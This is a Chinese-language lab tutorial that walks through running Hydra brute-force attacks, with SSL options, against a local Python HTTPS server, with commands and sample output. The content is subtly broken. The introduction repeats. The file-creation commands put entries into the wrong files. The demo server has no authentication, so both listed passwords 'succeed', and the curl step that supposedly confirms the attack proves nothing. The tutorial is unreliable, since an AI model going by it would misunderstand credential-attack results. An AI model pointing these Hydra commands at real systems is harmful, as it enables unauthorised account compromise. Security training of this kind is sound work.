介绍
在本次实验中,我们将探索如何使用 Hydra 攻击启用了 SSL 的服务。本实验重点测试 Hydra 在破解由 SSL/TLS 保护的服务密码方面的能力。
首先,我们将使用 Python 和 openssl 搭建一个本地 HTTPS 服务器,生成自签名证书和密钥,模拟一个安全的环境。然后,我们将使用 -S 选项运行 Hydra 以启用 SSL 支持,并尝试破解密码。我们还将使用 -O 选项测试较旧的 SSL 协议。最后,我们将确认 SSL 攻击是否成功。
在本次实验中,我们将探索如何使用 Hydra 攻击启用了 SSL 的服务。本实验重点测试 Hydra 在破解由 SSL/TLS 保护的服务密码方面的能力。
首先,我们将使用 Python 和 openssl 搭建一个本地 HTTPS 服务器,生成自签名证书和密钥,模拟一个安全的环境。然后,我们将使用 -S 选项运行 Hydra 以启用 SSL 支持,并尝试破解密码。我们还将使用 -O 选项测试较旧的 SSL 协议。最后,我们将确认 SSL 攻击是否成功。
在这一步中,我们将使用 Python 内置的 http.server 模块搭建一个简单的 HTTPS 服务器,并启用 SSL/TLS。这将使我们能够模拟一个安全的服务器环境,以测试 Hydra 的 SSL 功能。
首先,我们需要生成一个自签名证书和密钥。该证书将用于加密客户端(Hydra)与服务器之间的通信。打开你的终端,导航到 ~/project 目录:
cd ~/project
现在,使用 openssl 命令生成证书和密钥:
openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes
你将被提示输入一些关于证书的信息。你可以通过按回车键将大多数字段留空。需要输入一个通用名称(Common Name),你可以输入 localhost。
Generating a RSA private key
+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:localhost
Email Address []:
此命令会创建两个文件:key.pem(私钥)和 cert.pem(证书)。
现在,让我们为 HTTPS 服务器创建一个 Python 脚本。我们将使用 nano 文本编辑器来创建和编辑脚本:
nano https_server.py
将以下代码复制并粘贴到编辑器中:
import http.server
import ssl
import os
## Create the HTTP server
httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)
## Create SSL context
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')
## Wrap the socket with SSL
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)
print("Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...")
httpd.serve_forever()
在 nano 中保存文件的步骤如下:
Ctrl + X 退出Y 确认保存Enter 确认文件名现在你可以使用以下命令运行 HTTPS 服务器:
python3 https_server.py
你应该会看到类似以下的输出:
Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...
让这个终端窗口保持运行状态。这就是你的 HTTPS 服务器。在接下来的步骤中,我们将使用 Hydra 尝试破解认证。
重要提示: 请记住让运行 HTTPS 服务器的原始终端窗口保持运行。不要关闭它,因为后续步骤还会用到它。
在这一步中,我们将使用 Hydra 对在上一步中搭建的 HTTPS 服务器进行暴力破解攻击。-S 选项告诉 Hydra 在连接目标服务器时使用 SSL/TLS。
首先,让我们创建一个简单的用户名和密码列表。在 ~/project 目录下创建一个名为 users.txt 的文件,内容如下:
test
接下来,在 ~/project 目录下创建一个名为 passwords.txt 的文件,内容如下:
password
test
123456
你可以使用 echo 命令来创建和编辑这些文件:
echo "test" > ~/project/users.txt
echo "password" > ~/project/passwords.txt
echo "test" >> ~/project/users.txt
echo "123456" >> ~/project/passwords.txt
现在,我们可以使用 -S 选项运行 Hydra 来攻击我们的 HTTPS 服务器。打开一个新的终端窗口(让另一个窗口中的 HTTPS 服务器保持运行),并导航到 ~/project 目录:
cd ~/project
执行以下 Hydra 命令:
hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -vV
让我们来分解一下这个命令:
hydra:Hydra 命令行工具。-l test:指定要使用的用户名。在这种情况下,我们使用用户名 test。-P passwords.txt:指定密码列表文件。我们使用的是我们创建的 passwords.txt 文件。127.0.0.1:目标 IP 地址。这是回环地址,指的是我们的本地机器。https-get /:指定要攻击的服务(HTTPS)和请求的路径(/)。https-get 是一个通过 SSL/TLS 执行 HTTP GET 请求的模块。-S:告诉 Hydra 在连接目标服务器时使用 SSL/TLS。这对于攻击 HTTPS 服务至关重要。-vV:启用详细模式,显示登录尝试和找到的任何凭证。Hydra 现在将使用提供的用户名和密码列表对 HTTPS 服务器进行暴力破解。它将针对用户名 test 尝试 passwords.txt 文件中的每个密码。
你应该会看到类似于以下的输出(具体输出可能会有所不同):
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:10:55
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1 login: test password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1 login: test password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:10:56

如果攻击成功,Hydra 将显示正确的用户名和密码。在这个例子中,用户名是 test,密码是 password。
在这一步中,我们将探讨如何使用 Hydra 的 -O 选项来测试旧版、可能存在漏洞的 SSL/TLS 协议。-O 选项会强制 Hydra 使用旧版 SSL 版本,这些版本可能容易受到诸如 POODLE 或 BEAST 等各种攻击。
在继续之前,需要明白由于安全漏洞,通常不建议使用旧版 SSL/TLS 协议。这一步是出于教育目的,用于演示如何使用 Hydra 识别仍支持这些过时协议的系统。
要使用 -O 选项,只需将其添加到我们之前的 Hydra 命令中。确保步骤 1 中的 HTTPS 服务器仍在运行。打开一个新的终端窗口(让另一个窗口中的 HTTPS 服务器保持运行),并导航到 ~/project 目录:
cd ~/project
现在,执行以下 Hydra 命令:
hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -O -vV
此命令与步骤 2 中的命令唯一的区别在于添加了 -O 选项。
-O:强制 Hydra 使用旧版 SSL 版本。Hydra 现在将尝试使用旧版 SSL/TLS 协议对 HTTPS 服务器进行暴力破解。输出将与上一步类似,但你可能会看到与旧版 SSL 版本相关的警告或错误。
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:13:19
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1 login: test password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1 login: test password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:13:19
如果攻击成功,Hydra 将像上一步一样显示正确的用户名和密码。这里的关键要点是,-O 选项使我们能够测试服务器与旧版 SSL/TLS 协议的兼容性。
如果服务器不支持旧版协议,可能会拒绝连接。在这种情况下,Hydra 可能无法找到密码。然而,这一步的目的是演示 -O 选项的用法,而不一定是保证成功登录。
在这一步中,我们将通过使用发现的凭证尝试访问 HTTPS 服务器,来确认 Hydra 攻击是否成功。这将证明 Hydra 确实能够成功对服务器进行暴力破解。
首先,确保步骤 1 中的 HTTPS 服务器仍在运行。
我们将使用 curl 命令来访问服务器,并验证我们是否可以使用正确的用户名和密码进行身份验证。
打开一个新的终端窗口(让另一个窗口中的 HTTPS 服务器保持运行),并导航到 ~/project 目录:
cd ~/project
现在,执行以下 curl 命令:
curl -k -u test:password https://127.0.0.1
让我们来分解一下这个命令:
curl:用于通过 URL 传输数据的命令行工具。-k:允许 curl 继续操作,即使服务器连接通常被认为是不安全的。由于我们使用的是自签名证书,curl 通常会拒绝连接。-u test:password:指定用于身份验证的用户名和密码。我们使用的是在前面步骤中发现的凭证 test:password。https://127.0.0.1:HTTPS 服务器的 URL。如果身份验证成功,curl 将显示服务器根目录的内容。由于我们使用的是 Python 的 http.server 模块,它可能会显示 ~/project 目录的文件列表。
你应该会看到类似于以下的输出(具体输出可能会根据 ~/project 目录中的文件而有所不同):
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr />
<ul>
<li><a href="cert.pem">cert.pem</a></li>
<li><a href="https_server.py">https_server.py</a></li>
<li><a href="key.pem">key.pem</a></li>
<li><a href="passwords.txt">passwords.txt</a></li>
<li><a href="server.pem">server.pem</a></li>
<li><a href="users.txt">users.txt</a></li>
</ul>
<hr />
</body>
</html>
这证实了我们能够使用 Hydra 发现的凭证成功对 HTTPS 服务器进行身份验证。这展示了 Hydra 在暴力破解弱密码方面的有效性,即使是在 SSL/TLS 连接上也是如此。
如果你看到的是错误消息而不是文件列表,请再次检查 HTTPS 服务器是否仍在运行,以及你是否使用了正确的用户名和密码。
在这个实验中,我们学习了如何使用 Hydra 攻击启用了 SSL 的服务。第一步是使用 Python 的 http.server 模块搭建一个本地 HTTPS 服务器,并使用 openssl 生成自签名证书和密钥,以模拟一个安全的环境。
然后,我们通过使用 -S 选项启用 SSL 连接,以及使用 -O 选项测试旧版 SSL 协议,来探索 Hydra 的功能。最后,我们确认了 SSL 攻击的成功,展示了 Hydra 在 SSL/TLS 上暴力破解凭证的能力。